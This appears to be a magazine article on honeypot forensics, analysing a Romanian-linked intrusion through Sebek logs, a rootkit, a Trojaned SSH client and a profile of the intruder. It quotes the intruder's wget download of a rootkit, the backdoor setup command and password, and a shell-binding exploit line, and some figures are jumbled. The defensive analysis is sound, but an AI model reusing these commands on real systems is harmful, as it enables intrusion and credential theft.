Honeypot Forensics, Part II: Analyzing the Compromised Host

In the previous issue,1 we focused on how to analyze network activity by looking at flows. This activity gives us a quick, but imprecise, idea of what happens to a honeypot and reveals almost all of an intruder’s actions.

Although flows are an effective method for monitoring honeypots in real time, they’re not sufficient if we want to learn more about the intruder. To accomplish this goal, we must investigate the compromised host itself.

In this article, we’ll show how to build two timelines of events: one from network clues and the other from what the host tells us. We can then merge these timelines and answer additional questions.

System and file analysis

An important part of honeypot forensics is system analysis, which we can do without any prior knowledge of the results obtained from network analysis.

The system provides information in many ways: in system logs, in normal or enhanced logs generated with a syslogd-like service (such as a firewall, security, kernel, and so on), or from the tools the intruder uses (which we can get through reverse engineering, source-code audit, and so on).

Many tools exist for parsing and analyzing logfiles, but only a handful are available for reverse engineering and auditing (for example, Elfish, http://elfsh.segfault.net; and Fenris, http://lcamtuf.coredump.cx/fenris/). Moreover, such tools require advanced skills to extract the proper data.

Follow the yellow brick road

System analysis is timeline-driven—it helps us understand how the intruder got in and the path he or she followed. Time is at its core, and it lets us correlate system and network analyses.

If a honeypot is properly configured, the timeline builds itself automatically thanks to tools installed to capture blackhat activity (see Figure 1).

Intruders can perform many different actions on a host, but they typically focus on discovery, installation, and usage. If an intruder wants information about a particular environment, for example, several commands will reveal information about the local host. Depending on the overall goal, the intruder might install new software (he or she might patch the flaw they used to avoid another intrusion). Intruders sometimes even install their own backdoors for future use.

Once the host is compromised and tools are installed, the blackhat’s intentions are clear, but any further actions will vary depending on the goal. Most system activity will generate network events. If an intruder uses a backdoor to execute a command on a compromised host, for example, the request goes over the network, but it won’t create an outgoing connection. Therefore, we must focus on system actions that impact the network—sending email, downloading tools (via FTP, HTTP, or anything else), IRC, and so on. One common characteristic of such actions is that they require domain name lookups.

To better understand a blackhat’s activities on a system, we must establish a timeline (logs like the one in Figure 1 prove useful at this point), retrieve and analyze the rootkit to learn about Trojaned programs on the host, retrieve and analyze every tool the intruder has installed, and reconstruct the timeline with full details.

Analyzing tools

The first tool we analyze is the blackhat-installed rootkit.2 It can affect both the honeypot’s capturing tools and any future commands the blackhat executes. In Figure 2, our rootkit snik.tar is old, but we can see the user IDs (UIDs) and time of creation without opening the archive. This might be useful at a later stage when we’re correlating all the information.

Analyzing scripts

The rootkit in Figure 2 contains a script called setup. By looking at...
Figure 2. Analyzing a rootkit. Looking in the archive gives us the creation time and the names of the file owners.

```bash
$tar tvf snik.tar
drw-r-x-x 3287/users 0 2002-11-16 01:23:07 snik/
-rw-r-x-x euro/euro 97093 2003-03-24 00:04:35 snik/ssh
-rw-r-x-x 711/users 203899 2003-03-24 00:04:35 snik/.sh/sshd
drwxr-xr-x 3287/users 0 2002-11-16 01:23:07 snik/
```

Figure 1. Sebek logs. This information shows the commands executed by the intruder.

```bash
15:16:31-2003/09/12 [0:bash:9350:pts:0] cd ../w00t
14:36:43-2003/09/12 [0:bash:9350:pts:0] ps auxf
...?? ./setup fischyisciscovrp 50
?? wget www.pistolet.ro/snix.tar
?? tar xzf snix.tar & cd snix
?? ./setup fischyisciscovrp 50
...14:36:43-2003/09/12 [0:bash:9350:pts:0]ps auxf
15:16:31-2003/09/12 [0:bash:9350:pts:0]cd ../w00t
15:16:33-2003/09/12 [0:bash:9350:pts:0]./asmb 132.166 ...
```

The most common classes are

- **text**, which includes comments or outputs (such as `echo`, `print`);
- **commands**, which replace files or give access to remote hosts (such as `mail` and `ftp);
- **directories**, which access sensitive directories (such as `/etc`, `/root`, `/boot`, `/home`); and
- **unclassified**, which covers anything not previously classified.

Although linear analysis is obviously more precise, the classification approach is quite efficient and gives a good idea of what the script does. Unfortunately, it doesn’t define the parameters passed to the script.

We can call the `setup` script in Figure 2 with `.setup fischyisciscovrp 50`. Here, `fischyisciscovrp` is encrypted and stored in `/etc/ld.so.hash`; the second parameter is the TCP port on which an SSH server hidden in `/usr/sbin/xntps` will be listening.

**Analyzing binaries**

We can analyze a binary in one of two ways. The **dead analysis** way (usually called reverse engineering) means we look at the content of the binary itself: symbols contained in the file, for example. If this is the only solution available, we can use some tricks to hide information: stripping (symbol removal), packing (compression), ciphering, and so on. Sometimes, there’s no other option than to run the binary and examine the spawn process (called **live analysis**). Usually, this implies the use of debugging techniques, which the binary can restrict. Such techniques are beyond this article’s scope, so let’s focus on common, usually unprotected, binaries.

As with scripts, we can quickly guess what a binary does by using some simple manipulations. For dead analysis, information is given at different levels: general, section content, and symbolic.

At the general level, “external” information about the binary includes the type of file, the dynamic libraries it uses, and its header:

```bash
$readelf -h ./ssh
```

In this example, the file is stripped, which means it won’t be useful for finding symbols. The magic number in the ELF header above is also corrupted (probably by an infected binary). Strings embedded in the binary are also of interest because they can contain comments and instructions that reveal the binary’s purpose, or even Web site (nick)names, emails, and addresses. However, the command `string` doesn’t display all the strings in the file or their origin, which is why we should examine each section with attention.

Binaries are structured in sections mapped in memory, and these sections are organized according to a specific format—**ELF** in our example. They can contain different kinds of information, such as assembler instructions (usually in the `.init`, `.fini`, or `.text` sections) or text and human-readable binary data strings. For instance, the `.rodata` section con-
tains arguments provided to the `printf()`, `system()`, or `syslog()` functions:

```bash
$objdump -j .rodata -s ssh /lib/ldd.so/tkps leetof ssh /p logger for t0rnkit(tm)
```

This SSH client is Trojaned with a login/password logger (/p logger). Because the directory /lib/ldd.so is unusual, the file /lib/ldd.so/tkps probably saves the login/password. Most commands displaying a section’s contents are not user friendly and require the output to be reworked.

If the binary is not stripped, it still contains symbol names for functions and global variables. In our case, a new SSH client replaces the original one on the honeypot and is Trojaned to save logins and passwords. However, this is only an assumption: we would have to either disassemble the binary or run it to confirm this.

At this point, we need to learn what the program does, so we simply trace the syscalls and library functions it uses (`strace` on Linux). Remember that the binary we’re analyzing might contain something like `rm -rf`. It’s usually a good idea to run it in a protected environment, such as `chroot()`, `jail()`, User-Mode Linux (UML; http://user-modelinux.sourceforge.net/UML), or VMWare (www.vmware.com) to avoid any damage to the analyst’s environment.

Running `strace` against the SSH client confirms that the binary is Trojaned:

```bash
$strace -eopen ./ssh batman...
open("/lib/ldd.so/tkps", O_RDONLY) = 4
$cat /lib/ldd.so/tkps
raynal@batman’s password: Ilovenum
```

We can also see that the SSH daemon hidden in /usr/sbin/xntps is backdoored. This binary is packed, so the methods explained earlier don’t apply. To save time, we run the binary in a sandboxed environment (nothing executed inside a sandbox is supposed to be able to get out of it) and find the daemon listening on port 50 (the parameter passed to the `setup` script):

```bash
$cat /etc/ld.so.hash...
```

Remember the long password (`fischyisciscovrp`) provided for setup earlier? It’s back, and it gives unlimited access:

```bash
alfred:-$ssh root@harley
```

```bash
  -p 50
  root@harley’s password: fischyis
  [root@harley root]#
```

### Gathering evidence

We now have two timelines, one built from network flows and the other from system logs. Many events are common to both—for example, the multiple mass-scans against port 139 and the small one targeting port 22 appear in both timelines. Correlating the common events helps: the full timeline tells the complete story.

However, we still have some open issues:

- The network flow analysis shows an important amount of traffic to port 45295 from two hosts, but the system analysis shows no reference to that port. This means the answer might not be in the inner circle, or it’s well hidden. Remember, these flows appear very early in the timeline; as soon as the blackhat enters, the mass-scans start exploiting the samba daemon. Inside one of these downloaded exploits, we see `Connect(s, (char *) inet_ntoa(addr1.sin_addr r), 45295, 2)`, which means the blackhat exploit used port 45295 to bind a shell. The blackhat entered through the samba flaw.
- The system analysis doesn’t reveal anything related to traffic on port 31337, but `psybnc`, an IRC bouncer, has been installed and is known to use that port by default.
- The network flow analysis shows that the intruder sent two emails, whereas the system analysis reports three, from grosnain@inbox.ro, noguns@lovzu.com, and grosnain@grosnain.name. In actuality, the grosnain.name domain isn’t registered anymore.
- No DNS traffic exists. Because we didn’t have details on the honeypot’s network architecture or system configuration, this remains a mystery.
- The smb.tgz toolkit was broken, so we had to analyze another toolkit with the same characteristics (name and size) from another FTP site. The main exploit was modified to “phone home” to let the owner know that it had been used on this system, but the network flows don’t show any evidence of this communication.

These “open questions” usually find their solution when we correlate all the pieces of information, obtained from network, system, and reverse engineering. This is the point at which the analyst’s cleverness is most important: he or she can pull together lots of information from many different sources. Moreover, having knowledge about the intruder in the form of a profile can prove quite useful in bringing all the pieces together.

### Profiling the blackhat

The technical information analysis answers many questions about the intrusion, including what, when, where, and how; but we can also use it to answer why and who. The analysis captures linguistic and time information (in addition to technical data), so
we can use a profiling form with several parameters to understand the relation between the victim and attacker. Was this action specifically targeted? Do we have information related to feelings or motivations?

The timeline information shows that the attacker selected the target almost randomly: note the use of massive scanners, the type of information the blackhat wanted (which wasn’t specific to the host), the fact that the attacker didn’t destroy anything, and the lack of relationship to the honeypot’s owner (the intruder didn’t care about or even look at personal accounts on the compromised system). We can conclude that the honeypot was just another tool for the blackhat, which ultimately shows that the intruder isn’t (at least not in this specific activity) a predatory type of blackhat. Predatory types have a personal intent against a specific target, and they usually harass or extort their targets. Defense against a predatory blackhat can benefit from profiling the attacker: such a profile gives psychological insight into the blackhat’s motivations, and can ultimately help defeat him or her.

The timeline itself is interesting. The blackhat spent some time in the honeypot, starting early in the morning, then coming back several times during the day until evening. He or she seemed to have plenty of free time that day.

The blackhat used the same password (loveadina) on two FTP sites, but what can we learn about his or her cultural or geographical origin from this? Many of clues are related to Romania, such as the downloaded tool sites and the use of a Romanian female first name (adina).

Another interesting part of a profile is how much the person hesitates and handles mistakes. In our case, the blackhat downloaded the same tool from two different places without using it; later, he or she downloaded it a third time from the first site. Was this a hesitation or a precaution?

Even if the blackhat’s activities are obvious, understanding his or her behavior can be very helpful in understanding the intrusion. It can help us understand what type of danger we’re facing, and how to handle it. For example, we could derive a strategy of communicating with a specific attacker by taking advantage of what we learned from the profile. Profiling also helps us correlate separate events, determine attack patterns, and learn how to protect the system from future intrusions.

**Recursive analysis**

Up to now, we’ve focused on events and traffic to and from a honeypot. Let’s turn our focus to tools and techniques.

We learned many things during our analysis, including the Web site from where the rootkit was downloaded, two of the FTP sites used (with logins/passwords), and three different email accounts. The next step is to analyze this information to learn more details. Each time we discover new information, we open new doors. For instance, our analysis unveiled references to four Web sites, each containing software, pictures, or even an album with email, quotes, and pictures of team members.

Even if you discover tools you already know, a new and detailed analysis will keep you up-to-date—sometimes just revealing that a program name has changed or has some new comments. It’s an endless game and, thus, a full-time job.

Putting a honeypot on a network is becoming easier as the technology matures, but many risks and limitations abound: it’s usually only a matter of time before someone compromises it, which is when the hard work starts.

Analyzing a compromised honeypot is rewarding, but also time-consuming and difficult. If you don’t want to miss important information, you must be as skilled as an attacker—in particular, you must have extensive network and system knowledge.

A long-term challenge for honeypot forensics will come to fruition as honeypot deployment becomes more pervasive. We can expect to see simulation tools coming soon, but because these tools simulate all network and system activity, they also add noise to our information. The current paradigm that all honeypot activity is worthy won’t be correct anymore. Instead, we’ll have to face another age-old problem: denoising.

---

**References**


Frédéric Raynal is an engineer and researcher in computer security and a member of the French Honeynet Project. He is currently the chief editor of MISC (www.miscmag.com), the first French journal dealing with security. Contact him at frederic.raynal@security-labs.org.

Yann Berthier works for HSC, a French security consulting company. Among other things, his research focuses on security architecture design, intrusion detection, and forensics analysis. He is a member of the French Honeynet Project. Contact him at yb@hsc.fr.

Philippe Biondi works as a security consultant for Arche/Omnetica Group. He has authored many open-source projects such as Scapy and LIDS, and is a member of the French Honeynet Project. Contact him at phil@secdav.org.

Danielle Kaminsky is a researcher at TEGAM International and a teacher in cybercriminology at École Nationale Supérieure des Télécommunications and the Center for Behavior Analysis Research and Education Center (CERPAC). She studies behaviors related to information and information security, with her main research focused on virus writer motivations, hacker profiles, spies, and secrecy. Contact her at dtkam2@wanadoo.fr.